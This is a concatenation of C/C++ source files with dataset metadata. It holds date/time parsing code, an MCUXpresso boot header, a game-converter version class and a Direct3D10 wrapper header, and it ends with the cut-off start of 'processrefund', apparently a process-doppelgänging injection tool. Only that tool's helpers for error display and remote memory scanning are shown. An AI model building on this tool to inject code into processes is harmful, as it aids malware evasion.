2) = '\0'; hr = strtol((str + 1), &cp, 10); if ((hr < 0) || (hr > 12)) return -1; } else { min = 0; } tz = (hr * 60 + min) * 60; if (*str == '-') tz = -tz; *tzp = -tz; return *cp != '\0'; } /* DecodeTimezone() */ /* DecodePosixTimezone() * Interpret string as a POSIX-compatible timezone: * PST-hh:mm * PST+h * - thomas 2000-03-15 */ static int DecodePosixTimezone(char *str, int *tzp) { int val, tz; int type; char *cp; char delim; cp = str; while ((*cp != '\0') && isalpha((unsigned char) *cp)) cp++; if (DecodeTimezone(cp, &tz) != 0) return -1; delim = *cp; *cp = '\0'; type = DecodeSpecial(MAXDATEFIELDS - 1, str, &val); *cp = delim; switch (type) { case DTZ: case TZ: *tzp = (val * 60) - tz; break; default: return -1; } return 0; } /* DecodePosixTimezone() */ /* DecodeSpecial() * Decode text string using lookup table. * Implement a cache lookup since it is likely that dates * will be related in format. */ int DecodeSpecial(int field, char *lowtoken, int *val) { int type; datetkn *tp; if ((datecache[field] != NULL) && (strncmp(lowtoken, datecache[field]->token, TOKMAXLEN) == 0)) tp = datecache[field]; else { tp = NULL; if (Australian_timezones) tp = datebsearch(lowtoken, australian_datetktbl, australian_szdatetktbl); if (!tp) tp = datebsearch(lowtoken, datetktbl, szdatetktbl); } datecache[field] = tp; if (tp == NULL) { type = UNKNOWN_FIELD; *val = 0; } else { type = tp->type; switch (type) { case TZ: case DTZ: case DTZMOD: *val = FROMVAL(tp); break; default: *val = tp->value; break; } } return type; } /* DecodeSpecial() */ /* DecodeDateDelta() * Interpret previously parsed fields for general time interval. * Return 0 if decoded and -1 if problems. * * Allow "date" field DTK_DATE since this could be just * an unsigned floating point number. - thomas 1997-11-16 * * Allow ISO-style time span, with implicit units on number of days * preceding an hh:mm:ss field. - thomas 1998-04-30 */ int DecodeDateDelta(char **field, int *ftype, int nf, int *dtype, struct tm * tm, double *fsec) { int is_before = FALSE; char *cp; int fmask = 0, tmask, type; int i; int val; double fval; double sec; *dtype = DTK_DELTA; type = IGNORE; tm->tm_year = 0; tm->tm_mon = 0; tm->tm_mday = 0; tm->tm_hour = 0; tm->tm_min = 0; tm->tm_sec = 0; *fsec = 0; /* read through list backwards to pick up units before values */ for (i = nf - 1; i >= 0; i--) { switch (ftype[i]) { case DTK_TIME: if (DecodeTime(field[i], fmask, &tmask, tm, fsec) != 0) return -1; type = DTK_DAY; break; case DTK_TZ: /* * Timezone is a token with a leading sign character and * otherwise the same as a non-signed time field */ Assert((*field[i] == '-') || (*field[i] == '+')); /* * A single signed number ends up here, but will be * rejected by DecodeTime(). So, work this out to drop * through to DTK_NUMBER, which *can* tolerate this. */ cp = field[i] + 1; while ((*cp != '\0') && (*cp != ':') && (*cp != '.')) cp++; if ((*cp == ':') && (DecodeTime((field[i] + 1), fmask, &tmask, tm, fsec) == 0)) { if (*field[i] == '-') { /* flip the sign on all fields */ tm->tm_hour = -tm->tm_hour; tm->tm_min = -tm->tm_min; tm->tm_sec = -tm->tm_sec; *fsec = -(*fsec); } /* * Set the next type to be a day, if units are not * specified. This handles the case of '1 +02:03' * since we are reading right to left. */ type = DTK_DAY; tmask = DTK_M(TZ); break; } else if (type == IGNORE) { if (*cp == '.') { /* * Got a decimal point? Then assume some sort of * seconds specification */ type = DTK_SECOND; } else if (*cp == '\0') { /* * Only a signed integer? Then must assume a * timezone-like usage */ type = DTK_HOUR; } } /* DROP THROUGH */ case DTK_DATE: case DTK_NUMBER: val = strtol(field[i], &cp, 10); if (type == IGNORE) type = DTK_SECOND; if (*cp == '.') { fval = strtod(cp, &cp); if (*cp != '\0') return -1; if (val < 0) fval = -(fval); } else if (*cp == '\0') fval = 0; else return -1; tmask = 0; /* DTK_M(type); */ switch (type) { case DTK_MICROSEC: *fsec += ((val + fval) * 1e-6); break; case DTK_MILLISEC: *fsec += ((val + fval) * 1e-3); break; case DTK_SECOND: tm->tm_sec += val; *fsec += fval; tmask = DTK_M(SECOND); break; case DTK_MINUTE: tm->tm_min += val; if (fval != 0) tm->tm_sec += (fval * 60); tmask = DTK_M(MINUTE); break; case DTK_HOUR: tm->tm_hour += val; if (fval != 0) tm->tm_sec += (fval * 3600); tmask = DTK_M(HOUR); break; case DTK_DAY: tm->tm_mday += val; if (fval != 0) tm->tm_sec += (fval * 86400); tmask = ((fmask & DTK_M(DAY)) ? 0 : DTK_M(DAY)); break; case DTK_WEEK: tm->tm_mday += val * 7; if (fval != 0) tm->tm_sec += (fval * (7 * 86400)); tmask = ((fmask & DTK_M(DAY)) ? 0 : DTK_M(DAY)); break; case DTK_MONTH: tm->tm_mon += val; if (fval != 0) tm->tm_sec += (fval * (30 * 86400)); tmask = DTK_M(MONTH); break; case DTK_YEAR: tm->tm_year += val; if (fval != 0) tm->tm_mon += (fval * 12); tmask = ((fmask & DTK_M(YEAR)) ? 0 : DTK_M(YEAR)); break; case DTK_DECADE: tm->tm_year += val * 10; if (fval != 0) tm->tm_mon += (fval * 120); tmask = ((fmask & DTK_M(YEAR)) ? 0 : DTK_M(YEAR)); break; case DTK_CENTURY: tm->tm_year += val * 100; if (fval != 0) tm->tm_mon += (fval * 1200); tmask = ((fmask & DTK_M(YEAR)) ? 0 : DTK_M(YEAR)); break; case DTK_MILLENNIUM: tm->tm_year += val * 1000; if (fval != 0) tm->tm_mon += (fval * 12000); tmask = ((fmask & DTK_M(YEAR)) ? 0 : DTK_M(YEAR)); break; default: return -1; } break; case DTK_STRING: case DTK_SPECIAL: type = DecodeUnits(i, field[i], &val); if (type == IGNORE) continue; tmask = 0; /* DTK_M(type); */ switch (type) { case UNITS: type = val; break; case AGO: is_before = TRUE; type = val; break; case RESERV: tmask = (DTK_DATE_M || DTK_TIME_M); *dtype = val; break; default: return -1; } break; default: return -1; } if (tmask & fmask) return -1; fmask |= tmask; } if (*fsec != 0) { TMODULO(*fsec, sec, 1e0); tm->tm_sec += sec; } if (is_before) { *fsec = -(*fsec); tm->tm_sec = -(tm->tm_sec); tm->tm_min = -(tm->tm_min); tm->tm_hour = -(tm->tm_hour); tm->tm_mday = -(tm->tm_mday); tm->tm_mon = -(tm->tm_mon); tm->tm_year = -(tm->tm_year); } /* ensure that at least one time field has been found */ return (fmask != 0) ? 0 : -1; } /* DecodeDateDelta() */ /* DecodeUnits() * Decode text string using lookup table. * This routine supports time interval decoding. */ int DecodeUnits(int field, char *lowtoken, int *val) { int type; datetkn *tp; if ((deltacache[field] != NULL) && (strncmp(lowtoken, deltacache[field]->token, TOKMAXLEN) == 0)) tp = deltacache[field]; else tp = datebsearch(lowtoken, deltatktbl, szdeltatktbl); deltacache[field] = tp; if (tp == NULL) { type = UNKNOWN_FIELD; *val = 0; } else { type = tp->type; if ((type == TZ) || (type == DTZ)) *val = FROMVAL(tp); else *val = tp->value; } return type; } /* DecodeUnits() */ /* datebsearch() * Binary search -- from Knuth (6.2.1) Algorithm B. Special case like this * is WAY faster than the generic bsearch(). */ static datetkn * datebsearch(char *key, datetkn *base, unsigned int nel) { datetkn *last = base + nel - 1, *position; int result; while (last >= base) { position = base + ((last - base) >> 1); result = key[0] - position->token[0]; if (result == 0) { result = strncmp(key, position->token, TOKMAXLEN); if (result == 0) return position; } if (result < 0) last = position - 1; else base = position + 1; } return NULL; } /* EncodeDateOnly() * Encode date as local time. */ int EncodeDateOnly(struct tm * tm, int style, char *str) { if ((tm->tm_mon < 1) || (tm->tm_mon > 12)) return -1; switch (style) { case USE_ISO_DATES: /* compatible with ISO date formats */ if (tm->tm_year > 0) sprintf(str, "%04d-%02d-%02d", tm->tm_year, tm->tm_mon, tm->tm_mday); else sprintf(str, "%04d-%02d-%02d %s", -(tm->tm_year - 1), tm->tm_mon, tm->tm_mday, "BC"); break; case USE_SQL_DATES: /* compatible with Oracle/Ingres date formats */ if (EuroDates) sprintf(str, "%02d/%02d", tm->tm_mday, tm->tm_mon); else sprintf(str, "%02d/%02d", tm->tm_mon, tm->tm_mday); if (tm->tm_year > 0) sprintf((str + 5), "/%04d", tm->tm_year); else sprintf((str + 5), "/%04d %s", -(tm->tm_year - 1), "BC"); break; case USE_GERMAN_DATES: /* German-style date format */ sprintf(str, "%02d.%02d", tm->tm_mday, tm->tm_mon); if (tm->tm_year > 0) sprintf((str + 5), ".%04d", tm->tm_year); else sprintf((str + 5), ".%04d %s", -(tm->tm_year - 1), "BC"); break; case USE_POSTGRES_DATES: default: /* traditional date-only style for Postgres */ if (EuroDates) sprintf(str, "%02d-%02d", tm->tm_mday, tm->tm_mon); else sprintf(str, "%02d-%02d", tm->tm_mon, tm->tm_mday); if (tm->tm_year > 0) sprintf((str + 5), "-%04d", tm->tm_year); else sprintf((str + 5), "-%04d %s", -(tm->tm_year - 1), "BC"); break; } return TRUE; } /* EncodeDateOnly() */ /* EncodeTimeOnly() * Encode time fields only. */ int EncodeTimeOnly(struct tm * tm, double fsec, int *tzp, int style, char *str) { double sec; if ((tm->tm_hour < 0) || (tm->tm_hour > 24)) return -1; sec = (tm->tm_sec + fsec); sprintf(str, "%02d:%02d", tm->tm_hour, tm->tm_min); /* * If we have fractional seconds, then include a decimal point We will * do up to 6 fractional digits, and we have rounded any inputs to * eliminate anything to the right of 6 digits anyway. If there are no * fractional seconds, then do not bother printing a decimal point at * all. - thomas 2001-09-29 */ if (fsec != 0) { sprintf((str + strlen(str)), ":%013.10f", sec); /* chop off trailing pairs of zeros... */ while ((strcmp((str + strlen(str) - 2), "00") == 0) && (*(str + strlen(str) - 3) != '.')) *(str + strlen(str) - 2) = '\0'; } else sprintf((str + strlen(str)), ":%02.0f", sec); if (tzp != NULL) { int hour, min; hour = -(*tzp / 3600); min = ((abs(*tzp) / 60) % 60); sprintf((str + strlen(str)), ((min != 0) ? "%+03d:%02d" : "%+03d"), hour, min); } return TRUE; } /* EncodeTimeOnly() */ /* EncodeDateTime() * Encode date and time interpreted as local time. * Support several date styles: * Postgres - day mon hh:mm:ss yyyy tz * SQL - mm/dd/yyyy hh:mm:ss.ss tz * ISO - yyyy-mm-dd hh:mm:ss+/-tz * German - dd.mm.yyyy hh:mm:ss tz * Variants (affects order of month and day for Postgres and SQL styles): * US - mm/dd/yyyy * European - dd/mm/yyyy */ int EncodeDateTime(struct tm * tm, double fsec, int *tzp, char **tzn, int style, char *str) { int day, hour, min; double sec; if ((tm->tm_mon < 1) || (tm->tm_mon > 12)) return -1; sec = (tm->tm_sec + fsec); switch (style) { /* compatible with ISO date formats */ case USE_ISO_DATES: if (tm->tm_year > 0) { sprintf(str, "%04d-%02d-%02d %02d:%02d", tm->tm_year, tm->tm_mon, tm->tm_mday, tm->tm_hour, tm->tm_min); /* * If we have fractional seconds, then include a decimal * point We will do up to 6 fractional digits, and we have * rounded any inputs to eliminate anything to the right * of 6 digits anyway. If there are no fractional seconds, * then do not bother printing a decimal point at all. - * thomas 2001-09-29 */ if (fsec != 0) { sprintf((str + strlen(str)), ":%013.10f", sec); TrimTrailingZeros(str); } else sprintf((str + strlen(str)), ":%02.0f", sec); /* * tzp == NULL indicates that we don't want *any* time * zone info in the output string. *tzn != NULL indicates * that we have alpha time zone info available. tm_isdst * != -1 indicates that we have a valid time zone * translation. */ if ((tzp != NULL) && (tm->tm_isdst >= 0)) { hour = -(*tzp / 3600); min = ((abs(*tzp) / 60) % 60); sprintf((str + strlen(str)), ((min != 0) ? "%+03d:%02d" : "%+03d"), hour, min); } } else { if (tm->tm_hour || tm->tm_min) sprintf(str, "%04d-%02d-%02d %02d:%02d %s", -(tm->tm_year - 1), tm->tm_mon, tm->tm_mday, tm->tm_hour, tm->tm_min, "BC"); else sprintf(str, "%04d-%02d-%02d %s", -(tm->tm_year - 1), tm->tm_mon, tm->tm_mday, "BC"); } break; /* compatible with Oracle/Ingres date formats */ case USE_SQL_DATES: if (EuroDates) sprintf(str, "%02d/%02d", tm->tm_mday, tm->tm_mon); else sprintf(str, "%02d/%02d", tm->tm_mon, tm->tm_mday); if (tm->tm_year > 0) { sprintf((str + 5), "/%04d %02d:%02d", tm->tm_year, tm->tm_hour, tm->tm_min); /* * If we have fractional seconds, then include a decimal * point We will do up to 6 fractional digits, and we have * rounded any inputs to eliminate anything to the right * of 6 digits anyway. If there are no fractional seconds, * then do not bother printing a decimal point at all. - * thomas 2001-09-29 */ if (fsec != 0) { sprintf((str + strlen(str)), ":%013.10f", sec); TrimTrailingZeros(str); } else sprintf((str + strlen(str)), ":%02.0f", sec); if ((tzp != NULL) && (tm->tm_isdst >= 0)) { if (*tzn != NULL) sprintf((str + strlen(str)), " %.*s", MAXTZLEN, *tzn); else { hour = -(*tzp / 3600); min = ((abs(*tzp) / 60) % 60); sprintf((str + strlen(str)), ((min != 0) ? "%+03d:%02d" : "%+03d"), hour, min); } } } else sprintf((str + 5), "/%04d %02d:%02d %s", -(tm->tm_year - 1), tm->tm_hour, tm->tm_min, "BC"); break; /* German variant on European style */ case USE_GERMAN_DATES: sprintf(str, "%02d.%02d", tm->tm_mday, tm->tm_mon); if (tm->tm_year > 0) { sprintf((str + 5), ".%04d %02d:%02d", tm->tm_year, tm->tm_hour, tm->tm_min); /* * If we have fractional seconds, then include a decimal * point We will do up to 6 fractional digits, and we have * rounded any inputs to eliminate anything to the right * of 6 digits anyway. If there are no fractional seconds, * then do not bother printing a decimal point at all. - * thomas 2001-09-29 */ if (fsec != 0) { sprintf((str + strlen(str)), ":%013.10f", sec); TrimTrailingZeros(str); } else sprintf((str + strlen(str)), ":%02.0f", sec); if ((tzp != NULL) && (tm->tm_isdst >= 0)) { if (*tzn != NULL) sprintf((str + strlen(str)), " %.*s", MAXTZLEN, *tzn); else { hour = -(*tzp / 3600); min = ((abs(*tzp) / 60) % 60); sprintf((str + strlen(str)), ((min != 0) ? "%+03d:%02d" : "%+03d"), hour, min); } } } else sprintf((str + 5), ".%04d %02d:%02d %s", -(tm->tm_year - 1), tm->tm_hour, tm->tm_min, "BC"); break; /* backward-compatible with traditional Postgres abstime dates */ case USE_POSTGRES_DATES: default: day = date2j(tm->tm_year, tm->tm_mon, tm->tm_mday); tm->tm_wday = j2day(day); strncpy(str, days[tm->tm_wday], 3); strcpy((str + 3), " "); if (EuroDates) sprintf((str + 4), "%02d %3s", tm->tm_mday, months[tm->tm_mon - 1]); else sprintf((str + 4), "%3s %02d", months[tm->tm_mon - 1], tm->tm_mday); if (tm->tm_year > 0) { sprintf((str + 10), " %02d:%02d", tm->tm_hour, tm->tm_min); /* * If we have fractional seconds, then include a decimal * point We will do up to 6 fractional digits, and we have * rounded any inputs to eliminate anything to the right * of 6 digits anyway. If there are no fractional seconds, * then do not bother printing a decimal point at all. - * thomas 2001-09-29 */ if (fsec != 0) { sprintf((str + strlen(str)), ":%013.10f", sec); TrimTrailingZeros(str); } else sprintf((str + strlen(str)), ":%02.0f", sec); sprintf((str + strlen(str)), " %04d", tm->tm_year); if ((tzp != NULL) && (tm->tm_isdst >= 0)) { if (*tzn != NULL) sprintf((str + strlen(str)), " %.*s", MAXTZLEN, *tzn); else { /* * We have a time zone, but no string version. Use * the numeric form, but be sure to include a * leading space to avoid formatting something * which would be rejected by the date/time parser * later. - thomas 2001-10-19 */ hour = -(*tzp / 3600); min = ((abs(*tzp) / 60) % 60); sprintf((str + strlen(str)), ((min != 0) ? " %+03d:%02d" : " %+03d"), hour, min); } } } else { sprintf((str + 10), " %02d:%02d %04d %s", tm->tm_hour, tm->tm_min, -(tm->tm_year - 1), "BC"); } break; } return TRUE; } /* EncodeDateTime() */ /* EncodeTimeSpan() * Interpret time structure as a delta time and convert to string. * * Support "traditional Postgres" and ISO-8601 styles. * Actually, afaik ISO does not address time interval formatting, * but this looks similar to the spec for absolute date/time. * - thomas 1998-04-30 */ int EncodeTimeSpan(struct tm * tm, double fsec, int style, char *str) { int is_before = FALSE; int is_nonzero = FALSE; char *cp = str; /* * The sign of year and month are guaranteed to match, since they are * stored internally as "month". But we'll need to check for is_before * and is_nonzero when determining the signs of hour/minute/seconds * fields. */ switch (style) { /* compatible with ISO date formats */ case USE_ISO_DATES: if (tm->tm_year != 0) { sprintf(cp, "%d year%s", tm->tm_year, ((tm->tm_year != 1) ? "s" : "")); cp += strlen(cp); is_before = (tm->tm_year < 0); is_nonzero = TRUE; } if (tm->tm_mon != 0) { sprintf(cp, "%s%s%d mon%s", (is_nonzero ? " " : ""), ((is_before && (tm->tm_mon > 0)) ? "+" : ""), tm->tm_mon, ((tm->tm_mon != 1) ? "s" : "")); cp += strlen(cp); is_before = (tm->tm_mon < 0); is_nonzero = TRUE; } if (tm->tm_mday != 0) { sprintf(cp, "%s%s%d day%s", (is_nonzero ? " " : ""), ((is_before && (tm->tm_mday > 0)) ? "+" : ""), tm->tm_mday, ((tm->tm_mday != 1) ? "s" : "")); cp += strlen(cp); is_before = (tm->tm_mday < 0); is_nonzero = TRUE; } if ((!is_nonzero) || (tm->tm_hour != 0) || (tm->tm_min != 0) || (tm->tm_sec != 0) || (fsec != 0)) { int minus = ((tm->tm_hour < 0) || (tm->tm_min < 0) || (tm->tm_sec < 0) || (fsec < 0)); sprintf(cp, "%s%s%02d:%02d", (is_nonzero ? " " : ""), (minus ? "-" : (is_before ? "+" : "")), abs(tm->tm_hour), abs(tm->tm_min)); cp += strlen(cp); /* Mark as "non-zero" since the fields are now filled in */ is_nonzero = TRUE; /* fractional seconds? */ if (fsec != 0) { fsec += tm->tm_sec; sprintf(cp, ":%013.10f", fabs(fsec)); TrimTrailingZeros(cp); cp += strlen(cp); is_nonzero = TRUE; } /* otherwise, integer seconds only? */ else if (tm->tm_sec != 0) { sprintf(cp, ":%02d", abs(tm->tm_sec)); cp += strlen(cp); is_nonzero = TRUE; } } break; case USE_POSTGRES_DATES: default: strcpy(cp, "@ "); cp += strlen(cp); if (tm->tm_year != 0) { int year = tm->tm_year; if (tm->tm_year < 0) year = -year; sprintf(cp, "%d year%s", year, ((year != 1) ? "s" : "")); cp += strlen(cp); is_before = (tm->tm_year < 0); is_nonzero = TRUE; } if (tm->tm_mon != 0) { int mon = tm->tm_mon; if (is_before || ((!is_nonzero) && (tm->tm_mon < 0))) mon = -mon; sprintf(cp, "%s%d mon%s", (is_nonzero ? " " : ""), mon, ((mon != 1) ? "s" : "")); cp += strlen(cp); if (!is_nonzero) is_before = (tm->tm_mon < 0); is_nonzero = TRUE; } if (tm->tm_mday != 0) { int day = tm->tm_mday; if (is_before || ((!is_nonzero) && (tm->tm_mday < 0))) day = -day; sprintf(cp, "%s%d day%s", (is_nonzero ? " " : ""), day, ((day != 1) ? "s" : "")); cp += strlen(cp); if (!is_nonzero) is_before = (tm->tm_mday < 0); is_nonzero = TRUE; } if (tm->tm_hour != 0) { int hour = tm->tm_hour; if (is_before || ((!is_nonzero) && (tm->tm_hour < 0))) hour = -hour; sprintf(cp, "%s%d hour%s", (is_nonzero ? " " : ""), hour, ((hour != 1) ? "s" : "")); cp += strlen(cp); if (!is_nonzero) is_before = (tm->tm_hour < 0); is_nonzero = TRUE; } if (tm->tm_min != 0) { int min = tm->tm_min; if (is_before || ((!is_nonzero) && (tm->tm_min < 0))) min = -min; sprintf(cp, "%s%d min%s", (is_nonzero ? " " : ""), min, ((min != 1) ? "s" : "")); cp += strlen(cp); if (!is_nonzero) is_before = (tm->tm_min < 0); is_nonzero = TRUE; } /* fractional seconds? */ if (fsec != 0) { double sec; fsec += tm->tm_sec; sec = fsec; if (is_before || ((!is_nonzero) && (fsec < 0))) sec = -sec; sprintf(cp, "%s%.2f secs", (is_nonzero ? " " : ""), sec); cp += strlen(cp); if (!is_nonzero) is_before = (fsec < 0); is_nonzero = TRUE; /* otherwise, integer seconds only? */ } else if (tm->tm_sec != 0) { int sec = tm->tm_sec; if (is_before || ((!is_nonzero) && (tm->tm_sec < 0))) sec = -sec; sprintf(cp, "%s%d sec%s", (is_nonzero ? " " : ""), sec, ((sec != 1) ? "s" : "")); cp += strlen(cp); if (!is_nonzero) is_before = (tm->tm_sec < 0); is_nonzero = TRUE; } break; } /* identically zero? then put in a unitless zero... */ if (!is_nonzero) { strcat(cp, "0"); cp += strlen(cp); } if (is_before && (style == USE_POSTGRES_DATES)) { strcat(cp, " ago"); cp += strlen(cp); } return 0; } /* EncodeTimeSpan() */ void ClearDateCache(bool dummy) { int i; for (i = 0; i < MAXDATEFIELDS; i++) datecache[i] = NULL; }
24.419611
120
0.537339
86209a155480e488a1d6614f719b2cbe8fed8081
1,607
c
C
MCUXpresso/board/dcd.c
tinic/airpusher-sign-teensy
7ce20c50cbccdfb65bef0255d8f1306b0f490b90
[ "MIT" ]
null
null
null
MCUXpresso/board/dcd.c
tinic/airpusher-sign-teensy
7ce20c50cbccdfb65bef0255d8f1306b0f490b90
[ "MIT" ]
null
null
null
MCUXpresso/board/dcd.c
tinic/airpusher-sign-teensy
7ce20c50cbccdfb65bef0255d8f1306b0f490b90
[ "MIT" ]
null
null
null
/*********************************************************************************************************************** * This file was generated by the MCUXpresso Config Tools. Any manual edits made to this file * will be overwritten if the respective MCUXpresso Config Tools is used to update this file. **********************************************************************************************************************/ #include "dcd.h" /* Component ID definition, used by tools. */ #ifndef FSL_COMPONENT_ID #define FSL_COMPONENT_ID "platform.drivers.xip_board" #endif #if defined(XIP_BOOT_HEADER_ENABLE) && (XIP_BOOT_HEADER_ENABLE == 1) #if defined(XIP_BOOT_HEADER_DCD_ENABLE) && (XIP_BOOT_HEADER_DCD_ENABLE == 1) #if defined(__CC_ARM) || defined(__ARMCC_VERSION) || defined(__GNUC__) __attribute__((section(".boot_hdr.dcd_data"), used)) #elif defined(__ICCARM__) #pragma location = ".boot_hdr.dcd_data" #endif /* TEXT BELOW IS USED AS SETTING FOR TOOLS ************************************* !!GlobalInfo product: DCDx v3.0 processor: MIMXRT1062xxxxA package_id: MIMXRT1062DVL6A mcu_data: ksdk2_0 processor_version: 10.0.0 output_format: c_array * BE CAREFUL MODIFYING THIS COMMENT - IT IS YAML SETTINGS FOR TOOLS **********/ /* COMMENTS BELOW ARE USED AS SETTINGS FOR DCD DATA */ const uint8_t dcd_data[] = { /* HEADER */ /* Tag */ 0xD2, /* Image Length */ 0x00, 0x04, /* Version */ 0x41 }; /* BE CAREFUL MODIFYING THIS SETTINGS - IT IS YAML SETTINGS FOR TOOLS */ #else const uint8_t dcd_data[] = {0x00}; #endif /* XIP_BOOT_HEADER_DCD_ENABLE */ #endif /* XIP_BOOT_HEADER_ENABLE */
34.934783
120
0.61481
86214fefd951bd319c25f9d306318a9fc0db6714
1,947
h
C
EU4toV2/Source/EU4World/EU4Version.h
Terezito/EU4toVic2
ed051f610d9b9987278216c3a6f8129a93524aa6
[ "MIT" ]
1
2019-05-10T00:22:06.000Z
2019-05-10T00:22:06.000Z
EU4toV2/Source/EU4World/EU4Version.h
Terezito/EU4toVic2
ed051f610d9b9987278216c3a6f8129a93524aa6
[ "MIT" ]
null
null
null
EU4toV2/Source/EU4World/EU4Version.h
Terezito/EU4toVic2
ed051f610d9b9987278216c3a6f8129a93524aa6
[ "MIT" ]
null
null
null
/*Copyright (c) 2019 The Paradox Game Converters Project Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ #ifndef EU4_VERSION_H_ #define EU4_VERSION_H_ #include "newParser.h" #include <string> #include <memory> namespace EU4 { class Version: commonItems::parser { public: Version() = default; Version(const Version&) = default; Version(Version&&) = default; Version& operator=(const Version&) = default; Version& operator=(Version&&) = default; ~Version() = default; Version(std::string version); Version(std::istream& theStream); bool operator >= (const Version& rhs) const; bool operator > (const Version& rhs) const; bool operator < (const Version& rhs) const; bool operator <= (const Version& rhs) const; bool operator == (const Version& rhs) const; bool operator != (const Version& rhs) const; private: int firstPart = 0; int secondPart = 0; int thirdPart = 0; int fourthPart = 0; }; } #endif // EU4_VERSION_H_
28.217391
71
0.749872
2fc27a44c462c931c83ce2e382178f314cc09eab
2,050
h
C
packages/Windows API Code Pack 1.1/source/WindowsAPICodePack/DirectX/DirectX/Direct3D10/D3D10Resource.h
protechdm/CompareCloudware
9c316339717d21ccc6c272bb3b0845e4b41aad5f
[ "MIT" ]
17
2019-06-29T04:10:41.000Z
2022-03-23T01:07:07.000Z
packages/Windows API Code Pack 1.1/source/WindowsAPICodePack/DirectX/DirectX/Direct3D10/D3D10Resource.h
protechdm/CompareCloudware
9c316339717d21ccc6c272bb3b0845e4b41aad5f
[ "MIT" ]
27
2019-09-19T08:06:02.000Z
2022-03-06T15:29:01.000Z
packages/Windows API Code Pack 1.1/source/WindowsAPICodePack/DirectX/DirectX/Direct3D10/D3D10Resource.h
protechdm/CompareCloudware
9c316339717d21ccc6c272bb3b0845e4b41aad5f
[ "MIT" ]
8
2019-09-13T18:21:25.000Z
2022-03-19T16:32:21.000Z
//Copyright (c) Microsoft Corporation. All rights reserved. #pragma once #include "D3D10DeviceChild.h" namespace Microsoft { namespace WindowsAPICodePack { namespace DirectX { namespace Graphics { ref class Surface; ref class Surface1; } } } } namespace Microsoft { namespace WindowsAPICodePack { namespace DirectX { namespace Direct3D10 { using namespace System; /// <summary> /// A resource interface provides common actions on all resources. /// <para>(Also see DirectX SDK: ID3D10Resource)</para> /// </summary> public ref class D3DResource : public DeviceChild { public: /// <summary> /// Get or set the eviction priority of a resource. /// <para>(Also see DirectX SDK: ID3D10Resource::GetEvictionPriority)</para> /// </summary> property UInt32 EvictionPriority { void set(UInt32 value); UInt32 get(); } /// <summary> /// Get the type of the resource. /// <para>(Also see DirectX SDK: ID3D10Resource::GetType)</para> /// </summary> property ResourceDimension ResourceDimension { Direct3D10::ResourceDimension get(); } /// <summary> /// Get associated Graphics surface. If none is associated - throw an InvalidCastException. /// </summary> property Surface^ GraphicsSurface { Surface^ get(void); } /// <summary> /// Get associated Graphics surface. If none is associated - throw an InvalidCastException. /// </summary> property Surface1^ GraphicsSurface1 { Surface1^ get(void); } internal: D3DResource() { } D3DResource(ID3D10Resource* pNativeID3D10Resource) : DeviceChild(pNativeID3D10Resource) { } static property System::Guid Guid { System::Guid get() { return Utilities::Convert::SystemGuidFromGUID(__uuidof(ID3D10Resource)); } } }; } } } }
28.873239
107
0.600488
2fc40a75875b4cc91a5cd76901237f8dfe214a5e
9,417
c
C
processrefund/main.c
Spajed/processrefund
cbc035c076f64cea41ede1279564f931fa6730ef
[ "BSD-3-Clause" ]
197
2017-12-09T03:22:36.000Z
2021-12-13T07:29:16.000Z
processrefund/main.c
p01ice/processrefund
cbc035c076f64cea41ede1279564f931fa6730ef
[ "BSD-3-Clause" ]
5
2017-12-09T00:08:54.000Z
2019-02-17T08:09:42.000Z
processrefund/main.c
p01ice/processrefund
cbc035c076f64cea41ede1279564f931fa6730ef
[ "BSD-3-Clause" ]
98
2017-12-09T02:00:16.000Z
2022-01-18T16:54:41.000Z
#include <stdio.h> #include <stdlib.h> #include <Windows.h> #include <KtmW32.h> #include <lmerr.h> #include <winternl.h> #include <psapi.h> #include <Processthreadsapi.h> #include "ntdefs.h" // To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS #pragma comment(lib, "psapi.lib") void DisplayErrorText( DWORD dwLastError ) { HMODULE hModule = NULL; // default to system source LPSTR MessageBuffer; DWORD dwBufferLength; DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM; // // If dwLastError is in the network range, // load the message source. // if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) { hModule = LoadLibraryEx( TEXT("netmsg.dll"), NULL, LOAD_LIBRARY_AS_DATAFILE ); if (hModule != NULL) dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE; } // // Call FormatMessage() to allow for message // text to be acquired from the system // or from the supplied module handle. // if (dwBufferLength = FormatMessageA( dwFormatFlags, hModule, // module to get message from (NULL == system) dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language (LPSTR)&MessageBuffer, 0, NULL )) { DWORD dwBytesWritten; // // Output message string on stderr. // WriteFile( GetStdHandle(STD_ERROR_HANDLE), MessageBuffer, dwBufferLength, &dwBytesWritten, NULL ); // // Free the buffer allocated by the system. // LocalFree(MessageBuffer); } // // If we loaded a message source, unload it. // if (hModule != NULL) FreeLibrary(hModule); } LPVOID GetBaseAddressByName(HANDLE hProcess, char *module) { MEMORY_BASIC_INFORMATION mbi; SYSTEM_INFO si; LPVOID lpMem; char moduleName[MAX_PATH] = { 0 }; /* Get maximum address range from system info */ GetSystemInfo(&si); /* walk process addresses */ lpMem = 0; while (lpMem < si.lpMaximumApplicationAddress) { VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH); if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE) return mbi.BaseAddress; /* increment lpMem to next region of memory */ lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress 